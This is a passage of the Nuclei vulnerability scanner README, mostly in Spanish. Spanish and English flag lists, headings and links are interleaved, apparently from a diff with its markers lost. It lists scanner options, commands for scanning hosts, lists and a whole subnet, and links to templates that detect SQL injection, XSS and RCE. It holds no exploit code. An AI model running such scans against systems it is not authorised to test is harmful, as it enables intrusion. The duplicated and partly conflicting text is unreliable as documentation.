-ss, -scan-strategy value estrategia a utilizar mientras se escanea (auto/host-spray/template-spray) (por defecto auto)
|
||||
-irt, -input-read-timeout value tiempo de espera en la lectura de entrada (por defecto 3m0s)
|
||||
-nh, -no-httpx deshabilita análisis httpx para entradas que no son URL
|
||||
-no-stdin deshabilita el procesamiento de la entrada estándar
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-te, -track-error string[] adds given error to max-host-error watchlist (standard, file)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path (default "/tmp")
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto)
|
||||
-irt, -input-read-timeout value timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-preflight-portscan run preflight resolve + TCP portscan and filter targets before scanning (disabled by default)
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
-headless habilita las plantillas que requieren soporte de navegadores sin interfaz gráfica (headless browser) (el usuario root en Linux deshabilitará el sandbox)
|
||||
-page-timeout int segundos para esperar cada página en modo sin interfaz (por defecto 20)
|
||||
-sb, -show-browser muestra el navegador en la pantalla al ejecutar plantillas con modo sin interfaz
|
||||
-ho, -headless-options string[] inicia Chrome en modo sin interfaz con opciones adicionales
|
||||
-sc, -system-chrome utiliza el navegador Chrome instalado localmente en lugar del instalado por nuclei
|
||||
-lha, -list-headless-action lista de acciones sin interfaz disponibles
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
-page-timeout int seconds to wait for each page in headless mode (default 20)
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-ho, -headless-options string[] start headless chrome with additional options
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-cdpe, -cdp-endpoint string use remote browser via Chrome DevTools Protocol (CDP) endpoint
|
||||
-lha, -list-headless-action list available headless actions
|
||||
|
||||
DEBUG:
|
||||
-debug muestra todas las peticiones y respuestas
|
||||
-dreq, -debug-req muestra todas las peticiones enviadas
|
||||
-dresp, -debug-resp muestra todas las respuestas recibidas
|
||||
-p, -proxy string[] lista de proxies http/socks5 a utilizar (separados por comas o archivo de entrada)
|
||||
-pi, -proxy-internal proxy para todas las peticiones internas
|
||||
-ldf, -list-dsl-function lista todas las firmas de función DSL admitidas
|
||||
-tlog, -trace-log string archivo a escribir el registro de traza de peticiones enviadas
|
||||
-elog, -error-log string archivo a escribir el registro de error de peticiones enviadas
|
||||
-version muestra la versión de nuclei
|
||||
-hm, -hang-monitor habilita la monitorización de bloqueos de nuclei
|
||||
-v, -verbose muestra salida detallada
|
||||
-profile-mem string archivo opcional de volcado de memoria de nuclei
|
||||
-vv muestra las plantillas cargadas para el escaneo
|
||||
-svd, -show-var-dump muestra el volcado de variables para depuración
|
||||
-ep, -enable-pprof habilita el servidor de depuración pprof
|
||||
-tv, -templates-version muestra la versión de las plantillas nuclei (nuclei-templates) instaladas
|
||||
-hc, -health-check ejecuta comprobación de diagnóstico
|
||||
-debug show all requests and responses
|
||||
-dreq, -debug-req show all sent requests
|
||||
-dresp, -debug-resp show all received responses
|
||||
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
|
||||
-pi, -proxy-internal proxy all internal requests
|
||||
-ldf, -list-dsl-function list all supported DSL function signatures
|
||||
-tlog, -trace-log string file to write sent requests trace log
|
||||
-elog, -error-log string file to write sent requests error log
|
||||
-version show nuclei version
|
||||
-hm, -hang-monitor enable nuclei hang monitoring
|
||||
-v, -verbose show verbose output
|
||||
-profile-mem string generate memory (heap) profile & trace files
|
||||
-vv display templates loaded for scan
|
||||
-svd, -show-var-dump show variables dump for debugging
|
||||
-vdl, -var-dump-limit int limit the number of characters displayed in var dump (default 255)
|
||||
-ep, -enable-pprof enable pprof debugging server
|
||||
-tv, -templates-version shows the version of the installed nuclei-templates
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update actualiza el motor de nuclei a la última versión lanzada
|
||||
-ut, -update-templates actualiza nuclei-templates a la última versión lanzada
|
||||
-ud, -update-template-dir string directorio personalizado para instalar/actualizar nuclei-templates
|
||||
-duc, -disable-update-check deshabilita la comprobación automática de actualizaciones de nuclei/templates
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
-hpt, -honeypot-threshold int number of distinct template IDs required to flag a honeypot host (default 15)
|
||||
-shp, -suppress-honeypot suppress output for flagged honeypot hosts
|
||||
|
||||
STATISTICS:
|
||||
-stats muestra estadísticas sobre el escaneo en ejecución
|
||||
-sj, -stats-json muestra estadísticas en formato JSONL(ines)
|
||||
-si, -stats-interval int número de segundos a esperar entre mostrar una actualización de estadísticas (por defecto 5)
|
||||
-mp, -metrics-port int puerto para exponer métricas de nuclei (por defecto 9092)
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json display statistics in JSONL(ines) format
|
||||
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
-hps, -http-stats enable http status capturing (experimental)
|
||||
|
||||
CLOUD:
|
||||
-auth configura la clave de API del cloud de projectdiscovery (pdcp)
|
||||
-cup, -cloud-upload sube los resultados del escaneo al dashboard de pdcp
|
||||
-sid, -scan-id string sube los resultados del escaneo al ID de escaneo dado
|
||||
-auth configure projectdiscovery cloud (pdcp) api key (default true)
|
||||
-tid, -team-id string upload scan results to given team id (optional) (default "none")
|
||||
-cup, -cloud-upload upload scan results to pdcp dashboard [DEPRECATED use -dashboard]
|
||||
-sid, -scan-id string upload scan results to existing scan id (optional)
|
||||
-sname, -scan-name string scan name to set (optional)
|
||||
-pd, -dashboard upload / view nuclei results in projectdiscovery cloud (pdcp) UI dashboard
|
||||
-pdu, -dashboard-upload string upload / view nuclei results file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard
|
||||
|
||||
AUTHENTICATION:
|
||||
-sf, -secret-file string[] ruta al archivo de configuración que contiene los secrets para el escaneo autenticado de nuclei
|
||||
-ps, -prefetch-secrets precarga los secrets del archivo de secrets
|
||||
-sf, -secret-file string[] path to config file containing secrets for nuclei authenticated scan
|
||||
-ps, -prefetch-secrets prefetch secrets from the secrets file
|
||||
# NOTE: Headers in secrets files preserve exact casing (useful for case-sensitive APIs)
|
||||
|
||||
|
||||
EXAMPLES:
|
||||
Ejecutar nuclei en un solo host:
|
||||
$ nuclei -target example.com
|
||||
Run nuclei on single host:
|
||||
$ nuclei -target example.com
|
||||
|
||||
Ejecutar nuclei con directorios de plantillas específicos:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
Run nuclei with specific template directories:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
Ejecutar nuclei contra una lista de hosts:
|
||||
$ nuclei -list hosts.txt
|
||||
Run nuclei against a list of hosts:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
Ejecutar nuclei con una salida JSON:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
Run nuclei with a JSON output:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
Ejecutar nuclei con salidas Markdown ordenadas (con variables de entorno):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
Run nuclei with sorted Markdown outputs (with environment variables):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
Additional documentation is available at: https://docs.projectdiscovery.io/getting-started/running
|
||||
|
||||
Documentación adicional disponible en: https://docs.nuclei.sh/getting-started/running
|
||||
```
|
||||
|
||||
### Ejecutando Nuclei
|
||||
Documentación adicional disponible en: [**`docs.projectdiscovery.io/getting-started/running`**](https://docs.projectdiscovery.io/getting-started/running?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)
|
||||
|
||||
Consulta https://docs.projectdiscovery.io/tools/nuclei/running para obtener detalles sobre cómo ejecutar Nuclei.
|
||||
</details>
|
||||
|
||||
### Uso de Nuclei desde código Go
|
||||
### Escaneo de un solo objetivo
|
||||
|
||||
La guía completa sobre cómo usar Nuclei como biblioteca/SDK está disponible en [godoc](https://pkg.go.dev/github.com/projectdiscovery/nuclei/v3/lib#section-readme).
|
||||
Para realizar un escaneo rápido en una aplicación web:
|
||||
|
||||
```sh
|
||||
nuclei -target https://example.com
|
||||
```
|
||||
|
||||
### Escaneo de múltiples objetivos
|
||||
|
||||
Nuclei puede manejar escaneos en bloque proporcionando una lista de objetivos. Puedes usar un archivo que contenga múltiples URLs.
|
||||
|
||||
```sh
|
||||
nuclei -list urls.txt
|
||||
```
|
||||
|
||||
### Escaneo de red
|
||||
|
||||
Esto escaneará toda la subred en busca de problemas relacionados con la red, como puertos abiertos o servicios mal configurados.
|
||||
|
||||
```sh
|
||||
nuclei -target 192.168.1.0/24
|
||||
```
|
||||
|
||||
### Escaneo con tu plantilla personalizada
|
||||
|
||||
Para escribir y usar tu propia plantilla, crea un archivo `.yaml` con reglas específicas y luego úsalo como se muestra a continuación.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -t /path/to/your-template.yaml
|
||||
```
|
||||
|
||||
### Conectar Nuclei a ProjectDiscovery
|
||||
|
||||
Puedes ejecutar los escaneos en tu máquina y subir los resultados a la plataforma cloud para análisis y remediación adicionales.
|
||||
|
||||
```sh
|
||||
nuclei -target https://example.com -dashboard
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Esta funcionalidad es totalmente gratuita y no requiere suscripción. Para una guía detallada, consulta la [**`documentación`**](https://docs.projectdiscovery.io/cloud/scanning/nuclei-scan?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme).
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Plantillas de Nuclei, Comunidad y Recompensas 💎
|
||||
Las [**plantillas de Nuclei**](https://github.com/projectdiscovery/nuclei-templates) se basan en el concepto de archivos de plantilla YAML que definen cómo se enviarán y procesarán las peticiones. Esto aporta a nuclei capacidades de extensibilidad sencillas. Las plantillas se escriben en YAML, que especifica un formato simple y legible por humanos para definir rápidamente el proceso de ejecución.
|
||||
|
||||
**Pruébalo en línea con nuestro Editor de Plantillas de Nuclei gratuito y con IA** [**`haciendo clic aquí`**](https://cloud.projectdiscovery.io/templates).
|
||||
|
||||
Las Plantillas de Nuclei ofrecen una manera simplificada de identificar y comunicar vulnerabilidades, combinando detalles esenciales como clasificaciones de severidad y métodos de detección. Esta herramienta de código abierto desarrollada por la comunidad acelera la respuesta ante amenazas y es ampliamente reconocida en el mundo de la ciberseguridad. Miles de investigadores de seguridad de todo el mundo contribuyen activamente a las plantillas de Nuclei. Mantenemos dos programas para nuestros colaboradores: [**`Pioneers`**](https://projectdiscovery.io/pioneers) y [**`💎 bounties`**](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22).
|
||||
|
||||
|
||||
### Recursos
|
||||
|
||||
Puedes acceder a la documentación principal de Nuclei en https://docs.projectdiscovery.io/tools/nuclei/, y obtener más información sobre Nuclei en la nube con [ProjectDiscovery Cloud Platform](https://cloud.projectdiscovery.io).
|
||||
|
||||
¡Consulta https://docs.projectdiscovery.io/tools/nuclei/resources para obtener más recursos y videos sobre Nuclei!
|
||||
|
||||
### Créditos
|
||||
|
||||
Gracias a todos los increíbles [contribuyentes de la comunidad que enviaron PRs](https://github.com/projectdiscovery/nuclei/graphs/contributors) y mantienen este proyecto actualizado. :heart:
|
||||
|
||||
Si tienes una idea o algún tipo de mejora, eres bienvenido a contribuir y participar en el Proyecto, siéntete libre de enviar tu PR.
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei&max=500">
|
||||
</a>
|
||||
<p align="left">
|
||||
<a href="/static/nuclei-templates-teamcity.png" target="_blank"><img src="/static/nuclei-templates-teamcity.png" width="1200px" alt="Ejemplo de plantilla Nuclei para detectar una mala configuración de TeamCity" /></a>
|
||||
</p>
|
||||
|
||||
#### Ejemplos
|
||||
|
||||
También echa un vistazo a los siguientes proyectos de código abierto similares que pueden adaptarse a tu flujo de trabajo:
|
||||
Visita [**nuestra documentación**](https://docs.projectdiscovery.io/templates/introduction) para casos de uso e ideas.
|
||||
|
||||
[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)
|
||||
| Caso de uso | Plantilla de Nuclei |
|
||||
| :----------------------------------------- | :------------------------------------------------- |
|
||||
| Detectar CVEs conocidas | **[CVE-2021-44228 (Log4Shell)](https://cloud.projectdiscovery.io/public/CVE-2021-45046)** |
|
||||
| Identificar vulnerabilidades Out-of-Band | **[Blind SQL Injection via OOB](https://cloud.projectdiscovery.io/public/CVE-2024-22120)** |
|
||||
| Detección de SQL Injection | **[Generic SQL Injection](https://cloud.projectdiscovery.io/public/CVE-2022-34265)** |
|
||||
| Cross-Site Scripting (XSS) | **[Reflected XSS Detection](https://cloud.projectdiscovery.io/public/CVE-2023-4173)** |
|
||||
| Contraseñas por defecto o débiles | **[Default Credentials Check](https://cloud.projectdiscovery.io/public/airflow-default-login)** |
|
||||
| Archivos secretos o exposición de datos | **[Sensitive File Disclosure](https://cloud.projectdiscovery.io/public/airflow-configuration-exposure)** |
|
||||
| Identificar redirecciones abiertas | **[Open Redirect Detection](https://cloud.projectdiscovery.io/public/open-redirect)** |
|
||||
| Detectar tomas de subdominios | **[Subdomain Takeover Templates](https://cloud.projectdiscovery.io/public/azure-takeover-detection)** |
|
||||
| Configuraciones de seguridad incorrectas | **[Unprotected Jenkins Console](https://cloud.projectdiscovery.io/public/unauthenticated-jenkins)** |
|
||||
| Configuraciones SSL/TLS débiles | **[SSL Certificate Expiry](https://cloud.projectdiscovery.io/public/expired-ssl)** |
|
||||
| Servicios cloud mal configurados | **[Open S3 Bucket Detection](https://cloud.projectdiscovery.io/public/s3-public-read-acp)** |
|
||||
| Vulnerabilidades de ejecución remota de código | **[RCE Detection Templates](https://cloud.projectdiscovery.io/public/CVE-2024-29824)** |
|
||||
| Ataques de directory traversal | **[Path Traversal Detection](https://cloud.projectdiscovery.io/public/oracle-fatwire-lfi)** |
|
||||
| Vulnerabilidades de inclusión de archivos | **[Local/Remote File Inclusion](https://cloud.projectdiscovery.io/public/CVE-2023-6977)** |
|
||||
|
||||
### Licencia
|
||||
|
||||
Nuclei se distribuye bajo la [Licencia MIT](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://docs.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
|
||||
</h1>
|
||||
## Nuestra Misión
|
||||
|
||||
Los escáneres de vulnerabilidades tradicionales fueron construidos hace décadas. Son de código cerrado, increíblemente lentos y dirigidos por proveedores. Los atacantes de hoy explotan masivamente CVEs recién publicadas en internet en cuestión de días, en lugar de los años que solía llevar. Este cambio requiere un enfoque completamente diferente para abordar los exploits emergentes en internet.
|
||||
|
||||
Construimos Nuclei para resolver este desafío. Hicimos que todo el framework del motor de escaneo fuera abierto y personalizable, permitiendo que la comunidad global de seguridad colabore y aborde los vectores de ataque y vulnerabilidades emergentes en internet. Nuclei es utilizado actualmente y recibe contribuciones de empresas Fortune 500, agencias gubernamentales y universidades.
|
||||
|
||||
Puedes participar contribuyendo a nuestro código, a la [**`biblioteca de plantillas`**](https://github.com/projectdiscovery/nuclei-templates) o [**`uniéndote a nuestro equipo`**](https://projectdiscovery.io/).
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Colaboradores :heart:
|
||||
|
||||
Gracias a todos los increíbles [**`colaboradores de la comunidad que envían PRs`**](https://github.com/projectdiscovery/nuclei/graphs/contributors) y mantienen este proyecto actualizado. :heart:
|
||||
|
||||
<p align="left">
|
||||
<a href="https://github.com/Ice3man543"><img src="https://avatars.githubusercontent.com/u/22318055?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/apps/dependabot"><img src="https://avatars.githubusercontent.com/in/29110?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ehsandeep"><img src="https://avatars.githubusercontent.com/u/8293321?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Mzack9999"><img src="https://avatars.githubusercontent.com/u/13421144?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/forgedhallpass"><img src="https://avatars.githubusercontent.com/u/13679401?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tarunKoyalwar"><img src="https://avatars.githubusercontent.com/u/45962551?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/manuelbua"><img src="https://avatars.githubusercontent.com/u/819314?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/actions-user"><img src="https://avatars.githubusercontent.com/u/65916846?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dogancanbakir"><img src="https://avatars.githubusercontent.com/u/65292895?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parrasajad"><img src="https://avatars.githubusercontent.com/u/16835787?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vzamanillo"><img src="https://avatars.githubusercontent.com/u/10209695?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ShubhamRasal"><img src="https://avatars.githubusercontent.com/u/45902122?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/RamanaReddy0M"><img src="https://avatars.githubusercontent.com/u/90540245?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/LuitelSamikshya"><img src="https://avatars.githubusercontent.com/u/85764322?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kchason"><img src="https://avatars.githubusercontent.com/u/1111099?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/pmareke"><img src="https://avatars.githubusercontent.com/u/3502075?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dwisiswant0"><img src="https://avatars.githubusercontent.com/u/25837540?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xm1k3"><img src="https://avatars.githubusercontent.com/u/73166077?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/5amu"><img src="https://avatars.githubusercontent.com/u/39925709?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ehrishirajsharma"><img src="https://avatars.githubusercontent.com/u/35542790?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zerodivisi0n"><img src="https://avatars.githubusercontent.com/u/687694?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/geeknik"><img src="https://avatars.githubusercontent.com/u/466878?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/TerminalFi"><img src="https://avatars.githubusercontent.com/u/32599364?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KaulSe"><img src="https://avatars.githubusercontent.com/u/45340011?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sullo"><img src="https://avatars.githubusercontent.com/u/1474884?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/wdahlenburg"><img src="https://avatars.githubusercontent.com/u/4451504?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ghost"><img src="https://avatars.githubusercontent.com/u/10137?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Nishan8583"><img src="https://avatars.githubusercontent.com/u/20457968?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jdk2588"><img src="https://avatars.githubusercontent.com/u/985054?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/nothinux"><img src="https://avatars.githubusercontent.com/u/17433202?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/CodFrm"><img src="https://avatars.githubusercontent.com/u/22783163?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/CasperGN"><img src="https://avatars.githubusercontent.com/u/5549643?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ankh2054"><img src="https://avatars.githubusercontent.com/u/6784287?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/revblock"><img src="https://avatars.githubusercontent.com/u/72813848?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/cn-kali-team"><img src="https://avatars.githubusercontent.com/u/30642514?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/EndPositive"><img src="https://avatars.githubusercontent.com/u/25148195?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jimen0"><img src="https://avatars.githubusercontent.com/u/6826244?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xstevens"><img src="https://avatars.githubusercontent.com/u/69216?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mjkim610"><img src="https://avatars.githubusercontent.com/u/17107206?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/organiccrap"><img src="https://avatars.githubusercontent.com/u/376317?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lu4nx"><img src="https://avatars.githubusercontent.com/u/3006875?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/souvikhazra1"><img src="https://avatars.githubusercontent.com/u/13842393?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tovask"><img src="https://avatars.githubusercontent.com/u/22732484?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Marmelatze"><img src="https://avatars.githubusercontent.com/u/199681?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/doug-threatmate"><img src="https://avatars.githubusercontent.com/u/127235272?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/yabeow"><img src="https://avatars.githubusercontent.com/u/21117771?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/olearycrew"><img src="https://avatars.githubusercontent.com/u/6044920?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/gano3s"><img src="https://avatars.githubusercontent.com/u/2551605?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/alizmhdi"><img src="https://avatars.githubusercontent.com/u/79321261?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hackerpain"><img src="https://avatars.githubusercontent.com/u/61242234?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lc"><img src="https://avatars.githubusercontent.com/u/19563282?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/savushkin-yauheni"><img src="https://avatars.githubusercontent.com/u/5173352?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/74616e696d"><img src="https://avatars.githubusercontent.com/u/97121933?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/edoardottt"><img src="https://avatars.githubusercontent.com/u/35783570?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zt2"><img src="https://avatars.githubusercontent.com/u/7644862?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/moonD4rk"><img src="https://avatars.githubusercontent.com/u/24284231?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/wk8"><img src="https://avatars.githubusercontent.com/u/2536231?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mikerott"><img src="https://avatars.githubusercontent.com/u/857712?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/toufik-airane"><img src="https://avatars.githubusercontent.com/u/5610269?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hktalent"><img src="https://avatars.githubusercontent.com/u/18223385?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jturner"><img src="https://avatars.githubusercontent.com/u/1825202?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/gaby"><img src="https://avatars.githubusercontent.com/u/835733?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vavkamil"><img src="https://avatars.githubusercontent.com/u/47953210?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/leonjza"><img src="https://avatars.githubusercontent.com/u/1148127?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mionskowski-form3"><img src="https://avatars.githubusercontent.com/u/91873652?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/chenrui333"><img src="https://avatars.githubusercontent.com/u/1580956?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamargus95"><img src="https://avatars.githubusercontent.com/u/77744293?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/shashikarsiddharth"><img src="https://avatars.githubusercontent.com/u/60960197?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/trypa11"><img src="https://avatars.githubusercontent.com/u/67585616?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Zeokat"><img src="https://avatars.githubusercontent.com/u/1313154?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/alban-stourbe-wmx"><img src="https://avatars.githubusercontent.com/u/159776828?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/anykno"><img src="https://avatars.githubusercontent.com/u/2528207?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ronaudinho"><img src="https://avatars.githubusercontent.com/u/10264710?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/boy-hack"><img src="https://avatars.githubusercontent.com/u/18695984?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iuliu8899"><img src="https://avatars.githubusercontent.com/u/31680027?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/debasishbsws"><img src="https://avatars.githubusercontent.com/u/65381620?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denysvitali-niantic"><img src="https://avatars.githubusercontent.com/u/157139422?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fail-open"><img src="https://avatars.githubusercontent.com/u/72417455?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Xc1Ym"><img src="https://avatars.githubusercontent.com/u/29765332?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/XTeam-Wing"><img src="https://avatars.githubusercontent.com/u/25416365?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Weltolk"><img src="https://avatars.githubusercontent.com/u/40228052?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
